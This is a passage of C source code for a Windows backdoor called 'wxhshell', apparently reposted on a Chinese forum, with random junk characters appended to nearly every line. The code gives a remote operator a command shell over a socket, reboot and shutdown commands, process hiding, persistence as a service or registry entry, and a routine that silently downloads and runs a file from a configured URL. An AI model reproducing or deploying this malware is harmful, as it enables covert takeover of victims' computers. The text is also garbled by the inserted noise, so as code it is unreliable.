9;xL!cy  
    switch(cmd[0]) { .:|#9%5  
  + !E{L  
  // 帮助 f:JYG]E&  
  case '?': { Fw_bY/WN{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )ZQ9a4%  
    break; 4cVs(`g^  
  } .zSimEOF  
  // 安装 s[{:>~{iq  
  case 'i': { -x3tx7%  
    if(Install()) "p6:ekw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #qiGOpTF.  
    else [][:/~q!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CHdet(_=v  
    break; k:+)$[t7  
    } 9$4/frd  
  // 卸载 qMW%$L\HA  
  case 'r': { h Vt+%tmNy  
    if(Uninstall()) #:Sy`G6!?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m_PrasZ>  
    else 9L)&n.t1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (x@i,Ba@  
    break; QB.*R?A  
    } ;?HZ,"^I  
  // 显示 wxhshell 所在路径 AT'_0> x8  
  case 'p': { 'nj&}A'  
    char svExeFile[MAX_PATH]; fjK]m.w  
    strcpy(svExeFile,"\n\r"); 4LKs'$:A=  
      strcat(svExeFile,ExeFile); .$ P2W0G  
        send(wsh,svExeFile,strlen(svExeFile),0); Mh-*5Rx  
    break; `)( <g  
    } {TxVRpiP{Z  
  // 重启 :vgh KI  
  case 'b': { JK'_P}[]I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); HLyFyv\  
    if(Boot(REBOOT)) hAxuZb7 ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #G4~]Qml  
    else { @e?[oojrM  
    closesocket(wsh); 3Av(|<cR  
    ExitThread(0); 2*7s 9g  
    } :.'T+LI  
    break; ]cGz~TN~  
    }  >Wr   
  // 关机 ja,L)b:  
  case 'd': { Gad2EEZ%0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lo]B 5_en  
    if(Boot(SHUTDOWN)) :x*|lz[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]rX?n  
    else { }9+1<mT9a/  
    closesocket(wsh); dnWt\>6& 2  
    ExitThread(0); i&s=!`  
    } g$^qQs)^N  
    break; $X<<JnsK  
    } uB#B\i  
  // 获取shell ph&H*Mc  
  case 's': { by:xD2 5  
    CmdShell(wsh); >-@{vyoOy  
    closesocket(wsh); % OfDTs  
    ExitThread(0); b]qfcV  
    break; />2$ XwP  
  } N mjBJ_G  
  // 退出 ` S~@FX  
  case 'x': { j}?ZsnqV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .X=M !  
    CloseIt(wsh); .T$9Q Ar5  
    break; !y2h`ZAZ  
    } d`q)^  
  // 离开 (!&O4C5  
  case 'q': { XX5(/#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +n.j.JP"X  
    closesocket(wsh); 4[V6so0  
    WSACleanup(); *d,n2a#n5  
    exit(1); hb8@br  
    break; K&P{2Hndr  
        } *~oDP@[S  
  } -Fw4;&>  
  } fz?Wr: I  
*y\tnsU  
  // 提示信息 JjO/u>A3;7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kc(b;EA  
} -mYI[AG)  
  } |u@>[*k'=  
1eR{~ ,  
  return; yI)fu^  
} uY%3X/^j  
YrcC"  
// shell模块句柄 =z /mI y<  
int CmdShell(SOCKET sock) G C#95  
{ ve]95w9J  
STARTUPINFO si; =<W[dV=W  
ZeroMemory(&si,sizeof(si)); u'n%BVt   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xXh]z |  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q\pc2Lh?^  
PROCESS_INFORMATION ProcessInfo; SD.*G'N&2f  
char cmdline[]="cmd"; %fSk "%u%<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9NoPrR=x1  
  return 0; eMd1%/[  
} 2iINQK$  
b({b5z.A  
// 自身启动模式 JI; i1@| b  
int StartFromService(void) 6!=9V0G~  
{ |0 pBBDw  
typedef struct UY& W]  
{ xu pdjT%4  
  DWORD ExitStatus; ?[fl$EG  
  DWORD PebBaseAddress; Uz8C!L ">C  
  DWORD AffinityMask; Vm8_ !$F  
  DWORD BasePriority; WaK{/6?T,  
  ULONG UniqueProcessId; }Ml z\'{  
  ULONG InheritedFromUniqueProcessId;  ]mU*Y:<  
}   PROCESS_BASIC_INFORMATION; L=Jk"qWV0  
dz.MH  
PROCNTQSIP NtQueryInformationProcess; >t<R6f_Q0  
qpH-P8V   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (Jr;:[4XC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bL#TR;*]  
fOfz^W  
  HANDLE             hProcess; N P(?[W  
  PROCESS_BASIC_INFORMATION pbi; }z 2-|"H  
[eik<1=,~?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V1V4 <Zj  
  if(NULL == hInst ) return 0; w [x+2  
Z]+Xh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tKViM@T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;+Kewi;<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BTQC1;;N  
zi 14]FWo  
  if (!NtQueryInformationProcess) return 0; 8@#Y <{  
8[p6C Jl)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !8M'ms>s=  
  if(!hProcess) return 0; 'WgwLE_  
4Lq]yUj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q&S.C9W  
Mj;'vm7#'  
  CloseHandle(hProcess); _C#( )#  
H~K2`Cr)4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <NsT[r~C  
if(hProcess==NULL) return 0; Nfvg[c  
6$;)CO!h  
HMODULE hMod; 7i8qB462  
char procName[255]; r?>Hg+  
unsigned long cbNeeded; @g2L=XF  
}u)G ERWO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *\+ 'tFT6  
#gT^hl5/  
  CloseHandle(hProcess); %),O9*[9  
pjn%CR`;  
if(strstr(procName,"services")) return 1; // 以服务启动 nvs7s0@Fqe  
a5S/ O;ry  
  return 0; // 注册表启动 B{KD  ]  
} fYPU'"hzG  
2|o$eq3t  
// 主模块 vw 2@}#\:  
int StartWxhshell(LPSTR lpCmdLine) 6%y: hLT  
{ q &o=4  
  SOCKET wsl; @_nhA/rlc  
BOOL val=TRUE; \kO_"{7n  
  int port=0; #ms98pw%5  
  struct sockaddr_in door; nxRrmR}F  
c?Qg :yU  
  if(wscfg.ws_autoins) Install(); KO"iauW  
) O^08]Y g  
port=atoi(lpCmdLine); o~>go_Y  
n-.k&B{a  
if(port<=0) port=wscfg.ws_port; d)sl)qt}0  
;VBfzFH  
  WSADATA data; ,DZLEsFM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bGa":|}F  
E6)mBAE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V lNzm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Sw)ftC~d  
  door.sin_family = AF_INET; 03;(v%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FZ/&[;E!  
  door.sin_port = htons(port); =w>QG{-N  
#pFybk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \2b9A' d>  
closesocket(wsl); Ut=y`]F  
return 1; tB7aHZ|  
} xFnMXh t  
"j>0A Hem  
  if(listen(wsl,2) == INVALID_SOCKET) { \H(,'w7H  
closesocket(wsl); +[DVD  
return 1; 2>s;xZ@/'R  
} ugP R)tDfM  
  Wxhshell(wsl); ?A>-_B  
  WSACleanup(); 4 XQ?By  
U7=Z.*/62  
return 0; _Pal)re]U  
y_#wR/E)u{  
} = ByW`  
(*]Y<ve  
// 以NT服务方式启动 Z%=E/xT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n]!H,Q1,T  
{ ~3 (>_r  
DWORD   status = 0; ha 5\T'  
  DWORD   specificError = 0xfffffff; _,Y79 b6  
hT#mM*`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P&;I]2#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^Pwq`G A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VGIc|Q=F  
  serviceStatus.dwWin32ExitCode     = 0; >MH@FnUL  
  serviceStatus.dwServiceSpecificExitCode = 0; "{lnSLk  
  serviceStatus.dwCheckPoint       = 0; jL$X3QS:  
  serviceStatus.dwWaitHint       = 0; * PPFk.#x  
1[ Pbsb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q1yTDJ(2  
  if (hServiceStatusHandle==0) return; C5z4%,`f  
Y._AzJ&B[  
status = GetLastError(); 70~]J8T+u  
  if (status!=NO_ERROR) na)_8r~  
{ m|[ Hhw=f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |/$#G0X;H  
    serviceStatus.dwCheckPoint       = 0; 3u<2~!sR  
    serviceStatus.dwWaitHint       = 0; cs)hq4-L`  
    serviceStatus.dwWin32ExitCode     = status; 2]wh1)  
    serviceStatus.dwServiceSpecificExitCode = specificError; #'P&L>6 ;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &s5*akG  
    return; Y*f<\z(4  
  } LTHS&3% 2  
v\vn}/>*d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I%Z &i-33y  
  serviceStatus.dwCheckPoint       = 0; b`mEnI VIz  
  serviceStatus.dwWaitHint       = 0; W0k_"uI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2~ a4ib  
} >qla,}x  
KtE`L4tW6  
// 处理NT服务事件,比如:启动、停止 3@PVUJ0B|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :&MiO3#+  
{ v:'y&yS  
switch(fdwControl) t{9Ph]e  
{ qI}Zg)q]  
case SERVICE_CONTROL_STOP: \JchcQ  
  serviceStatus.dwWin32ExitCode = 0; 6._):[_2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _+i-)  
  serviceStatus.dwCheckPoint   = 0; <Bwu N,}  
  serviceStatus.dwWaitHint     = 0; 0Sk{P>A  
  { iVRz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G>j/d7  
  } &IPT$=u  
  return; & CgLF]  
case SERVICE_CONTROL_PAUSE: 4(NI-|q0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2B# \683  
  break; UOyP6ej  
case SERVICE_CONTROL_CONTINUE: Rp#SqRy`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =S,^"D\Z:  
  break; !**q20-aP  
case SERVICE_CONTROL_INTERROGATE: zI(Pti  
  break; |kn}iA@72p  
}; 'EQAG' YV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DE[y&]/C{  
} u^uW<.#z  
*m7e>]-  
// 标准应用程序主函数 A /MOY@%G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >v(Xc/oI  
{ W\Gg!XsLk  
+CACs7tV  
// 获取操作系统版本 NQb?&.C   
OsIsNt=GetOsVer(); 9wYbY* j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '{|87kI  
lm+wjhkN  
  // 从命令行安装 ~DSle 3  
  if(strpbrk(lpCmdLine,"iI")) Install(); *]rV,\z:  
U|>Js!$  
  // 下载执行文件 \"Np'$4eu  
if(wscfg.ws_downexe) { yO !*pC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )TLDNpH?J  
  WinExec(wscfg.ws_filenam,SW_HIDE); SXhJz=h  
} (Lc%G~{  
</fzBaTo  
if(!OsIsNt) { 4:K9FqU  
// 如果时win9x,隐藏进程并且设置为注册表启动 }5A?WH_  
HideProc(); yVW)DQ 4?  
StartWxhshell(lpCmdLine); y==x  
} >yaRz+  
else jWm<!< ~  
  if(StartFromService())  ;HW@ZI  
  // 以服务方式启动 A;% fAI2Vr  
  StartServiceCtrlDispatcher(DispatchTable); a^CIJ.P2  
else J[^-k!9M  
  // 普通方式启动 vnKUD|  
  StartWxhshell(lpCmdLine); (h E^<jNR  
v"^G9u  
return 0; 1PWDK1GI8  
}
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只看该作者 1 发表于: 2006-10-10
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